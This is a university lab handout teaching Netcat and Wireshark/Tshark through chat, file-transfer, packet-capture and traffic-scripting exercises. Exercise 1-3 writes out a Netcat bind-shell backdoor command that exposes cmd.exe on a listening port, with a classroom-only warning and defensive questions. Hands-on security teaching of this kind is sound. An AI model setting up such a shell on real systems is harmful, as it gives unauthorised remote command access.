Lab 7: Network Communication and Traffic Analysis with Netcat and Wireshark

Instructor: Dr. Maryam R. Aliabadi
Lab Duration: 1.5 hours
Date: Oct 23rd, 2025

Lab Overview

In this lab, students will gain hands-on experience with two fundamental tools used in cybersecurity and digital forensics: Netcat and Wireshark/Tshark. While Netcat enables the creation and analysis of raw TCP/UDP connections—allowing students to simulate chats, transfer files, and explore controlled backdoor connections—Wireshark and Tshark provide powerful packet-capture and network analysis capabilities. By integrating these tools, students will understand how data flows across a network, how attackers exploit these flows, and how defenders can monitor, detect, and analyze such activities.

Learning Outcomes

- Explain the purpose and functionality of Netcat and Wireshark/Tshark.
- Use Netcat to simulate TCP communication, file transfers, and remote shell access safely.
- Capture, filter, and analyze network traffic in Wireshark and Tshark.
- Automate network analysis tasks with Bash scripting.
- Identify potential security risks and propose mitigation strategies.
- Reflect on how fundamental networking tools can be misused or defended against.

Tool Background

1. Netcat (nc)

Netcat—known as the “Swiss Army knife of networking”— is a lightweight, command-line networking utility that provides a simple and flexible interface for establishing raw TCP and UDP connections. It functions as both a client and a server, enabling low-level read/write access to network sockets and supporting piping of data to and from other programs. Because of its minimalism and versatility, Netcat is widely used by network engineers, security analysts, and penetration testers for both legitimate diagnostics and controlled security demonstrations.

2. Wireshark / Tshark

Wireshark is a graphical packet analyzer that allows you to capture, filter, and inspect network packets in real-time. Tshark is its command-line version, ideal for automation and scripting. Together, they are invaluable tools for digital forensics, network troubleshooting, and intrusion detection.

Installation Instructions

Below are platform-specific installation steps for Netcat, Wireshark, and Tshark. These commands may require sudo/admin privileges.

Linux (Debian / Ubuntu)

Update package lists and install tools:

```
sudo apt update
sudo apt install -y netcat-openbsd wireshark tshark
```

Notes:
- You may be prompted about allowing non-superusers to capture packets during the Wireshark install. Choose according to your lab policy.
- 'netcat-openbsd' provides a modern nc. Some distros also have 'netcat-traditional'. Use 'nc -h' to check available options.
- Tshark is included with the wireshark package; the 'tshark' binary provides CLI capture/analysis.

Post-Install Checks

Verify installations and versions:
- nc --version (or nc -h)
- wireshark --version
- tshark -v

Ensure your user has permission to capture packets. On many Linux systems, you may need to add your user to the 'wireshark' group:

```
sudo usermod -aG wireshark $USER
# Then log out and log back in for group changes to take effect.
```

Part1. Netcat Practical Exercises

Exercise 1-1 – Netcat Chat Server

Objective: Simulate a simple TCP chat system between two hosts.

Steps:

On the server, start a listener:
nc -nlvp 1100

On the client, connect to the server:
nc -nv <server-ip> 1100

Type messages on both sides and observe text exchange. Capture screenshots of both client and server.

- Questions:
- 1- What happens when the server closes the connection?
- 2- What happens if multiple clients try to connect?
- 3- How does this demonstrate TCP's connection-oriented design?

Exercise 1-2 – File Transfer with Netcat

Objective: Use raw TCP to perform a manual file transfer.

Steps:

On the receiving machine:
nc -l -p 4444 > received.txt

On the sending machine:
nc <receiver-ip> 4444 < file.txt

Compare both files to verify integrity. Take screenshots of the file transfer.

Questions:

4- How fast was the transfer? Measure using:
time nc <receiver-ip> 4444 < file.txt

5- What happens if a binary file (e.g., image) is sent?

Exercise 1-3 – Controlled Backdoor Access

⚠️ Warning: For classroom learning only. Never use it on unauthorized systems.

Steps:

On the server (victim):
nc -l -p 5555 -e cmd.exe

On the attacker machine:
nc <server-ip> 5555

Try commands: whoami, pwd, ls. Capture screenshots of both machines.

Questions:

6- What risks arise if a machine allows such connections?
7- How can defenders detect or block backdoors?
8- Why is SSH a more secure alternative?

Part 2- Wireshark / Tshark Network Capture and Analysis

Exercise 2-1 – Traffic Capture

Start Wireshark and capture traffic for 2–3 minutes. Save as capture.pcapng.

Repeat with Tshark:

sudo tshark -i eth0 -a duration:120 -w capture_cli.pcapng

Exercise 2-2 – Manual Inspection

Open your capture in Wireshark. Apply filters:

HTTP: http
DNS: dns
Suspicious ports: tcp.port == 23

Record unexpected IPs or traffic types.

Exercise 2-3 – Automated Tshark Analysis

Objective: Write a script to automate traffic analysis.

Create a Bash Script (net_analysis.sh) that:

- Count 5 top source IPs.
- Count 5 top destination ports.
- Flag suspicious ports like Telnet (23) and FTP (21).

Run Script:

chmod +x net_analysis.sh
./net_analysis.sh capture_cli.pcapng

Exercise 2-4 – Interpretation and Reflection

9- Which IPs generated the most traffic?
10 - Any suspicious or unexpected ports?
11- How could automation improve real-world incident detection?

Part 3 - Combined Network Simulation

Objective: Integrate Netcat and Wireshark for deeper analysis.

Set up a Netcat chat or file transfer between two machines.
Run Wireshark or Tshark simultaneously to capture the traffic.
Filter captured packets for your session port (e.g., tcp.port == 1100).
Analyze the data payloads and confirm the content matches your chat/file transfer.

Questions:

12 - What information is visible in plaintext?
13 - How would encryption (e.g., SSH or TLS) change this visibility?
14 - What implications does this have for confidentiality and forensics?

Deliverables

- Screenshots of each exercise
- Script file (net_analysis.sh)
- Short written analysis (2–3 paragraphs)
- Answer to the questions
- Submit as: Lab7-FirstName-Lastname-StdNo.PDF
